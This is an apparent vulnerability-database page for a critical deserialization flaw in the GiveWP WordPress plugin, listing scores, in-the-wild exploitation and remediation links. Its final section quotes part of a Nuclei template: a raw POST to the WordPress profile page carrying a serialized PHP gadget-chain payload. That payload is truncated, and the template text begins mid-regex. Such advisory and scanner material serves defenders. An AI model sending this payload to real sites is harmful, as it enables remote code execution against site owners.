CVE-2026-82222
published 2026-08-28CVE-2026-82222: Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection. This issue affects GiveWP: from n/a through 4.16.7.1.
PriorityP183critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
1.55%
73.9th percentile
Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection.
This issue affects GiveWP: from n/a through 4.16.7.1.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| liquid_web | stellarwp_givewp | n/a – 4.16.7.1 | — |
CVSS provenance
nvdv3.110.0CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vulncheck10.0CRITICAL
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GHSA
Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection.
ghsa_unreviewed·2026-08-28
CVE-2026-82222 [CRITICAL] CWE-502 Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection.
Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection.
This issue affects GiveWP: from n/a through 4.16.7.1.
VulnCheck
givewp givewp Deserialization of Untrusted Data
vulncheck·2026·CVSS 10.0
CVE-2026-82222 [CRITICAL] givewp givewp Deserialization of Untrusted Data
givewp givewp Deserialization of Untrusted Data
Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection.
This issue affects GiveWP: from n/a through 4.16.7.1.
Affected: givewp givewp
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-16-7-1-remote-code-execution-rce-vulnerability
Exploit PoC: https://vulncheck.com/xdb/5f170afa6671; https://vulncheck.com/xdb/70c0ed01a68c
No detection rules found.
Nuclei
GiveWP <= 4.16.7.1 - Remote Code Execution
nuclei·CVSS 10.0
CVE-2026-82222 [CRITICAL] GiveWP <= 4.16.7.1 - Remote Code Execution
GiveWP ]+value="([^"]+)"'
internal: true
- type: regex
name: user_id
part: body
group: 1
regex:
- 'name="user_id"[^>]+value="([0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A
2026-08-28
Published
Exploited in the wild